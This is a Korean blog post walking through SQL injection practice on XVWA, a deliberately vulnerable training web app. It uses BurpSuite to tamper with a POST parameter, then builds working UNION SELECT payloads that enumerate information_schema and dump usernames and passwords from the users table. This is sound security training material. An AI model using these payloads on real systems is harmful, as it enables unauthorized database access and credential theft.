Code::Security/XVWA

취약한 웹 애플리케이션 (XVWA) SQL Injection 취약점 진단

태군 코드 2018. 8. 30. 17:07
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다. 


저번 포스팅에서 XVWA 웹 애플리케이션 환경을 모두 구축 하였으니, 이번 부터는 XVWA 진단 항목에 대해서 살펴 보도록 하겠습니다. 제 블로그에서 DVWA 취약점 진단 실습을 하신 분들은 한번더 복습을 한다고 생각하시면 되실것 같습니다.



그럼 먼저 오토셋 매니저를 실행하신후 웹서버와 MySQL을 실행시켜 줍니다. 저는 미리 실행을 해놓은 상태 입니다.


모두 실행을 시키셨다면 웹브라이저에서 http://자신의 IP/xvwa 접속을 하여 줍니다.



정상접속을 하시면 다음과 같은 화면이 보입니다.


XVWA 환경의 기본 ID / PW 입니다


admin:admin xvwa:xvwa user:vulnerable


SQL Injection 취약점은 웹 애플리케이션의 메시지를 이용하여 데이터베이스 내부의 정보를 유출하는 취약점입니다. 공격자는 데이터베이스 쿼리에 임의의 SQL 쿼리를 삽입함으로써 공격이 이루어 집니다.




좌측화면에서 SQL Injection 탭을 눌렀을때 화면입니다. SQL Injection 탭을 누르면 위에 간단한 SQL Injection 설명이 있고, OWASP 링크가 있습니다. 해당 링크를 들어 가셔서 한번씩 살펴보시면 도움이 되실겁니다.


이제 다시 웹사이트를 살펴보도록 하겠습니다. [Select Item Code] 를 눌러보면 다음과 같은 화면이 보이십니다.



1 ~ 10까지 선택을 할수 있는 Item 값들이 나열이 됩니다.




1 번을 선택후 [Submit] 버튼을 눌러 보았습니다. 커피에 대한 설명들이 보이고, 하나의 Item 값만을 선택할수 있는것을 확인할 수 있습니다. SQL Injection 공격을 통해 전체 Item 값이 출력되도록 실습을 해보도록 하겠습니다.


드롭다운 메뉴에서 Item 값을 선택후 [Submit] 버튼을 눌렀을때 URL 을 살펴보시면 파마리터 매개변수가 노출이 되지 않는것을 확인할수 있습니다. 여기서 유추 할수 있는것은 GET 방식이 아닌 POST 방식을 사용하고 있다고 생각을 할수 있습니다.


그럼 프록시 툴인 BurpSuite(버프스위트)를 사용해보도록 하겠습니다.


버프스위트 사용방법에 대해서는 앞에 블로그 내용에 포스팅 되어 있으니 참고 하시기 바랍니다.



Item 값을 선택후 버트스위트 프록시 툴을 이용해 패킷을 잡은 모습입니다. 여기서 item 값이 간단한 SQL Injection 공격 시도를 해보도록 하겠습니다.



item 값에 or 1=1 을 입력후 [Forward] 버튼을 눌러 주신후 웹페이지를 확인해 보면 전체 Item 이 노출되어 있는 모습을 확인할수 있습니다.



일단 여기까지 SQL Injection 취약점이 있다는것을 확인하였습니다.


[Search] 에디트 박스에서 조금더 자세히 알아 보도록 하겠습니다.


■ 테이블과 필드의 정의


- information_schema.schemata : 데이터베이스와 관련된 정보를 가진 테이블


- schema_name : 모든 데이터베이스의 이름 값을 가진 필드


- information_schema_tables : 테이블과 관련된 정보를 가진 테이블


- tables_name : 모든 테이블의 이름 값을 가진 필드


- information_schema.columns : 필드와 관련된 정보를 가진 테이블


- column_name : 모든 필드의 이름 값을 가진 필드


■ Union 구문을 통한 DB 구조파악 순서


- order by를 통한 column 갯수 확인


- DB 버전 정보 확인


- database 정보 확인


- user 정보 확인


- table 정보 확인


- column 정보 확인


- recode 정보 확인


union select 문을 통해 컬럼 갯수를 확인을 해보도록 하겠습니다.


' union select 1,2 # - 에러가 안날때까지 숫자를 증가시켜 줍니다. (' union select 1,2,3 #)


' union select 1 # 구문을 입력 하였을때 모든 정보가 출력되지만, 새로고침을 한후 다시 숫자를 증가시켜 줍니다.




' union select 1,2,3,4,5,6,7 # 구문을 입력하였을때 화면 입니다. 총 컬럼 갯수가 7개인것을 알수 있습니다.


이제 컬럼의 갯수를 확인하였으니 DB 버전 정보 와 database 정보를 확인해 보도록 하겠습니다.


여기서는 5번 필드에서 확인을 했지만 아무곳에서나 상관은 없습니다.


DB 버전 정보 확인

' union select 1,2,3,4,group_concat(version()),6,7#

' union select 1,group_concat(version()),3,4,5,6,7#


Database 정보 확인

' union select 1,2,3,4,group_concat(database()),6,7#


User 정보 확인

' union select 1,2,3,4,group_concat(user()),6,7#


DB, Database, User 정보 확인

' union select 1,2,3,4,group_concat(database(),0x3a,user(),0x3a,version()),6,7#



Database : xvwa, User : root@localhost, Version : 5.6.20


테이블 정보 확인

' union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()#



users 테이블의 컬럼 정보 확인

' union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='users'#



테이블 정보와 컬럼 정보 확인
' union select 1,2,3,4,group_concat(table_name,0x3a,column_name),6,7 from information_schema.columns where table_schema=database()#

컬럼 정보까지 확인을 했으니 실제로 사용자와 패스워드를 알아 보도록 하겠습니다.

username 정보 확인
' union select 1,2,3,4,group_concat(username),6,7 from users#


username 과 password 정보 확인

' union select 1,2,3,4,group_concat(username,0x3a,password),6,7 from users#


이렇게 SQL Injection 공격에 취약하다면 사용자 정보와 패스워드까지 알아 낼수 있습니다. 여기서는 테스트 페이지에서 취약점 진단을 하였으며, 허용되지 않은 곳에서는 테스트를 할경우 법적인 처벌을 받을수 있다는걸 명심하시기 바랍니다.








  



반응형